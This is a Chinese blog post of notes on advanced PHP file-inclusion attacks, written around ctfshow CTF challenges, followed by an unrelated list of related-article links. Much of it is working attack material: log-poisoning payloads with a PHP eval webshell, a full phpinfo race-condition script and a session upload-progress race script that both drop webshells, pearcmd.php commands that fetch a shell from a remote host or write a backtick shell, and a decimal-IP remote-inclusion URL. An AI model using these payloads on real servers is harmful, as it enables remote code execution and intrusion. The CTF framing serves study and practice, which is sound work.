【心得】PHP文件包含高级利用攻击面个人笔记

news2024/11/19 8:44:41

目录

一、nginx日志文件包含

二、临时文件包含

三、php的session文件包含

四、pear文件包含

五 、远程文件包含


 

文件包含 

include "/var/www/html/flag.php";

一 文件名可控

$file=$_GET['file'];

include $file.".php";  //用php伪协议 ,可以使用data协议


二 文件后缀可控

$file=$_GET['file'];

include "/var/www/html/".$file;  //不能使用伪协议了

/var/www/html/../../../../../flag


高级文件包含

一、nginx日志文件包含

nginx  可以认为它是http的一个服务器软件,提供了http服务 ,默认监听80端口

http://localhost/123.php?a=b

123.php 后缀是否是.php .就进行一次转发,转发到本地的127.0.0.1的9000端口

9000端口,是被另一个服务端软件监听,它提供解析php文件的服务,我们把这个软件,叫做php-fpm

专门解析php后缀的文件,执行里面代码,将执行结果交给nginx,再由nginx返回给http的客户端,这个客户端就是浏览器

http://localhost/123.jpg

123.jpg 非php后缀,那么由自己处理,nginx会找到web目录,读取123.jpg的内容,并返回给浏览器,同时告诉浏览器,我返回的
文件内容是一个jpg图片,你按照图片模式进行渲染,于是,浏览器页面上就能显示出一张图片出来


日志包含的前提条件

1 有文件名可控的文件包含点
2 有可以访问到的日志路径   默认nginx的日志路径为 /var/log/nginx/access.log

(linux默认日志路径:var/log)

 

例题1:web37

44908538065b419b8d56ee6015e378bc.png

 UA头里的php代码必须要一次性写对,如果出错,文件包含执行的时候会报fatal error不再向下解析后续再写入的php代码(环境被污染)

payload:

?file=../../../../../../var/log/nginx/access.log

UA:<?php eval($_POST[1]);?>

post:1=system('tac /f*');

bb4a1a1ed79d4ac080540ae1f7ffd7c0.png

 

二、临时文件包含

/tmp/php??????

文件包含,能否包含一个 /???/????????[@-[]]

答案是:不行 文件包含,是不支持通配符

我们明确的,得到这个临时目录下php开头的随机文件名字全称,然后我们就可以正常包含进去

默认情况,生命周期与php脚本一致,也就是说,脚本运行过程中,存在,脚本运行结束了,这个临时文件会被自动删除

突破点:
1 在php脚本运行过程中,包含临时文件
2 在脚本运行过程中,得到完整的临时文件名称

php配置文件中,默认,每次向浏览器发送内容时,不是一个字符一个字符发送的,它是一块内容一块内容发送的
4096个字符

假设我们能够访问phpinfo的结果  FILES 就会存在tmp_name临时文件名字,读取后可以成功包含

强制文件上传,在上传期间,临时文件是存在的,包含临时文件,执行了其中的php代码,达成了RCE效果,最终删除临时文件
最终原理就是增大phpinfo页面回显的字节数,让其不一次性执行完,拖慢执行速度,当读到临时文件时就可以进行包含

phpinfo_lfi

例题2 web38

fbaacc86801042cd80dd1bf91c50f5f6.png

贴出攻击脚本,要在python2.7的环境下运行

#!/usr/bin/python 
import sys
import threading
import socket

def setup(host, port):
    TAG="Security Test"
    PAYLOAD="""%s\r
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding="A" * 5000
    REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    #modify this to suit the LFI script   
    LFIREQ="""GET /?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt; ")
        fn = d[i+17:i+31]
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock =  l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break                
                if x:
                    print "\nGot it! Shell created in /tmp/g"
                    self.event.set()
                    
            except socket.error:
                return
    

def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)
    
    d = ""
    while True:
        i = s.recv(4096)
        d+=i        
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt; ")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")
    
    print "found %s at %i" % (d[i:i+10],i)
    # padded up a bit
    return i+256

def main():
    
    print "LFI With PHPInfo()"
    print "-=" * 30

    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)
    
    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",  
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot!  \m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "\nTelling threads to shutdown..."
        e.set()
    
    print "Shuttin' down..."
    for t in tp:
        t.join()

if __name__=="__main__":
    main()

 9d71cbc187754afeafdcd38fa7e3dcff.png

 

三、php的session文件包含

php的session文件包含,upload_progress文件包含

需要配置文件如下设置

2a596c5712764686b6bef09b7147f317.png
强制文件上传时,通过上传一个固定的表单PHP_SESSION_UPLOAD_PROGRESS ,可以往服务器的session文件内写入我们的指定内容

然后在脚本运行过程中包含后,可以执行里面的php代码

 

例题3 web39

6d349e01a6a44095bef5b91293b91276.png

 贴出脚本

import requests
import threading

session = requests.session()

sess="ctfshow"

file_name="/var/www/html/1.php"
file_content='<?php eval($_POST[1]);?>'

url = "http://f7a14db4-e464-4679-a278-1bff18bb4794.challenges.ctfer.com:8080/"

data = {
    "PHP_SESSION_UPLOAD_PROGRESS":f"<?php echo 'success!'; file_put_contents('{file_name}','{file_content}');?>"
}

file= {
    'file':'ctfshow'
}

cookies={
    'PHPSESSID':sess
}


def write():
    while True:
        r = session.post(url=url,data=data,files=file,cookies=cookies)


def read():
    while True:
        r = session.post(url=url+"?file=../../../../../../tmp/sess_ctfshow")
        if "success" in r.text:
            print("shell 地址为:"+url+"/1.php")
            exit()


threads = [threading.Thread(target=write),threading.Thread(target=read)]

for t in threads:
    t.start()

 跑出结果6143e8dba33141afb2000ea56ead2c2d.png

访问,RCE即可

30b3ad3ca5c34e72bfc94db0c2bc8406.png

 

四、pear文件包含

条件:

1 有文件包含点
2 开启了pear扩展
3 配置文件中register_argc_argv 设置为On,而默认为Off

PEAR扩展

PHP Extension and Application Repository

默认安装位置是  /usr/local/lib/php/  


利用Pear扩展进行文件包含

方法一  远程文件下载

?file=/usr/local/lib/php/pearcmd.php&ctfshow+install+-R+/var/www/html/+http://your-shell.com/shell.php

方法二  生成配置文件,配置项传入我们恶意的php代码的形式

a=b

username=root
man_dir=<?php eval($_POST[1]);?>

ctfshow.php


GET /?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/ctf.php+-d+man_dir=<?eval($_POST[1]);?>+-s+


方法三  写配置文件方式

GET /?file=/usr/local/lib/php/pearcmd.php&aaaa+config-create+/var/www/html/<?=`$_POST[1]`;?>+1.php

 

例题4 web40

bd021ffbe67543e7a3da8c6242828248.png

 用方法二:

818b2e4c435046388400c822e752e025.png

 3fa6f5298c8840b3b12d6e8a19a06246.png

 

用方法三:

d0c3d71471e9456d9025fae518d136aa.png

2292b43281fe4354bcf077f563d45400.png

 1287059a0b7340bfab5782df96bea4ed.png

 

五 、远程文件包含

通过域名转数字的形式,可以不用.来构造远程文件地址

数字转IP地址 IP地址转数字 域名转数字IP

?file=http://731540450/1

 

例题5 web41

b107f070f8c94889a214deb997272fb2.png

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1351782.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Leetcode】2487. 从链表中移除节点

文章目录 题目思路代码 题目 2487. 从链表中移除节点 思路 1、递归移除节点&#xff1a; 如果头节点为空&#xff0c;直接返回空。递归调用函数处理下一个节点 head->next。在递归返回后&#xff0c;判断当前节点的值是否小于之前记录的最大值 maxVal。如果小于 maxVal…

【Unity中的A星寻路】Navigation导航寻路系统四大页签详解

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;元宇宙-秩沅 &#x1f468;‍&#x1f4bb; hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 秩沅 原创 &#x1f468;‍&#x1f4bb; 收录于专栏&#xff1a;Uni…

uniapp 使用wx.getFuzzyLocation获取当前的模糊地理位置

前言&#xff1a; 最近在进行一个小程序项目开发的时候&#xff0c;需要用到定位的功能&#xff0c;然后首先是尝试了getLocation方法&#xff0c;但是sccess中的内容始终无法打印&#xff0c;后来才知道是需要申请权限&#xff0c;在连续小程序后台管理员申请权限之后&#x…

【鸿蒙千帆起】《开心消消乐》完成鸿蒙原生应用开发,创新多端联动用户体验

《开心消消乐》已经完成鸿蒙原生应用开发&#xff0c;乐元素成为率先完成鸿蒙原生应用开发的 20游戏厂商之一。作为一款经典游戏&#xff0c;《开心消消乐》已经拥有 8 亿玩家&#xff0c;加入鸿蒙原生应用生态&#xff0c;将为其带来更优的游戏性能和更多创新体验。自 9 月 25…

【Math】重要性采样 Importance sample推导【附带Python实现】

【Math】重要性采样 Importance sample推导【附带Python实现】 文章目录 【Math】重要性采样 Importance sample推导【附带Python实现】1. Why need importance sample?2. Derivation of Discrete Distribution3. Derivation of Continuous Distribution3. An Example 笔者在学…

虹科方案|从困境到突破:TigoLeap方案引领数据采集与优化

导读&#xff1a;在数字化工厂和智能制造的时代&#xff0c;数据已经成为优化机器和流程的关键。然而&#xff0c;如何高效地收集和处理这些数据&#xff0c;特别是在开发、部署和生产阶段&#xff0c;仍是企业面临的一大挑战。虹科TigoLeap平台&#xff0c;作为一款引领行业变…

Windows mp4info使用教程(提取MP4盒子信息、MP4 box信息、box分析工具、atom分析工具)

参考文章&#xff1a;https://www.onlinedown.net/soft/617940.htm 文章目录 软件主界面打开视频文件点击左方能看到各盒子信息 软件主界面 双击打开软件&#xff1a; 打开视频文件 点击左方能看到各盒子信息 比我用xxd命令查看原始16进制数据方便多了。 ᅟᅠ        …

C++初阶——类与对象

目录 C宏函数 在使用宏函数时&#xff0c;有几个常见的错误需要注意&#xff1a; 宏函数在某些情况下有以下优势&#xff1a; 1.C宏函数 在 C 中&#xff0c;宏函数&#xff08;Macro Function&#xff09;是使用预处理器定义的宏&#xff08;Macro&#xff09;&#xff0…

一、HTML5简介

一、简介 超文本标记语言&#xff08;英语&#xff1a;HyperText Markup Language&#xff0c;简称&#xff1a;HTML&#xff09;是一种用于创建网页的标准标记语言。可以使用 HTML 来建立自己的 WEB 站点&#xff0c;HTML 运行在浏览器上&#xff0c;由浏览器来解析。 <!…

swift-碰到的问题

如何让工程不使用storyboard和scene 删除info.plist里面的Application Scene mainifest 删除SceneDelegate.swift 删除AppDelegate.swift里面的这两个方法 func application(_ application: UIApplication, configurationForConnecting connectingSceneSession: UISceneSession…

javascript 常见工具函数(四)

31.RGB值和十六进制值之间的转换&#xff1a; &#xff08;1&#xff09;十六进制的颜色转为 RGB格式&#xff1a; /*16进制颜色转为RGB格式*/String.prototype.colorRgb function () {var sColor this.toLowerCase();if (sColor && reg.test(sColor)) {if (sColor.l…

【通讯录案例-登录功能-Segue Objective-C语言】

一、我们接下来呢,来说这个登录按钮的实现, 1.我们来实现一下这个登录按钮的一个功能啊, 比如说,当我点击“登录”了以后,我要跳到后边儿的那个TableView, 首先呢,我们来看一下示例程序,参考一下, 当我们上边这两个文本框都有值的时候, 当这两个文本框都有值了以后…

Nginx - 使用error_page实现带有图片的自定义错误页面

文章目录 概述官网文档需求实现 概述 在Nginx中&#xff0c;您可以使用error_page指令来指定当请求遇到特定错误时应当显示的自定义错误页面。为了实现带有图片的自定义错误页面&#xff0c;可以按照以下步骤操作&#xff1a; 创建错误页面&#xff1a; 首先&#xff0c;需要…

three.js 多通道组合

效果&#xff1a; 代码&#xff1a; <template><div><el-container><el-main><div class"box-card-left"><div id"threejs" style"border: 1px solid red"></div><div style"border: 1px so…

计算机毕业论文内容参考|基于区块链技术的电子健康记录系统的设计与实现

文章目录 摘要前言绪论课题背景国内外相关研究课题内容区块链技术介绍系统分析用户需求分析系统设计系统实现系统测试总结与展望摘要 本文介绍了基于区块链技术的电子健康记录系统的设计与实现。该系统旨在解决传统电子健康记录系统存在的数据安全性、数据隐私性和数据互操作性…

HTML5和JS实现明媚月色效果

HTML5和JS实现明媚月色效果 先给出效果图&#xff1a; 源码如下&#xff1a; <!DOCTYPE html> <html> <head><title>明媚月光效果</title><style>body {margin: 0;overflow: hidden;background-color: #000; /* 添加一个深色背景以便看到…

新全国产迅为龙芯 3A6000 处理器板卡

11月28日&#xff0c;“2023龙芯产品发布暨用户大会”在北京举行&#xff0c;迅为作为龙芯重要合作伙伴受邀参加&#xff0c;在整机产品发布仪式上&#xff0c;展示了基于龙芯 3A6000 处理器的全国产安全型工控计算机。 龙芯 3A6000 处理器完全自主设计、性能优异&#xff0c;代…

《MySQL系列-InnoDB引擎02》InnoDB存储引擎介绍

文章目录 第二章 InnoDB存储引擎1 InnoDB存储引擎概述2 InnoDB存储引擎的版本3 InnoDB体系架构3.1 后台线程3.2 内存 4 Checkpoint技术5 Master Thread 工作方式5.1 InnoDB 1.0.x版本之前的Master Thread5.2 InnoDB 1.2.x版本之前的Master Thread5.3 InnoDB 1.2.x版本的Master …

Vue实现JSON字符串格式化编辑器组件

相信很多同学都用过网上的在线JSON格式化工具来将杂乱的JSON数据转换成易于我们阅读和编辑的格式。那么&#xff0c;你有没有想过自己动手实现一个这样的工具呢&#xff1f;今天&#xff0c;我将介绍如何使用Vue.js来构建一个简单的JSON格式化工具。 功能简述 支持格式化JSON字…

企业如何利用好数据,让数据真正成为数据资产?数据资产管理应该怎样建设?

数字化时代&#xff0c;数据已经成为了个人、机构、企业乃至国家的重要战略资产。 近日&#xff0c;财政部正式对外发布《企业数据资源相关会计处理暂行规定》&#xff0c;并自 2024 年 1 月 1 日开始施行。数据资产入表政策落地节奏超预期&#xff0c;标志着国家把数据作为生…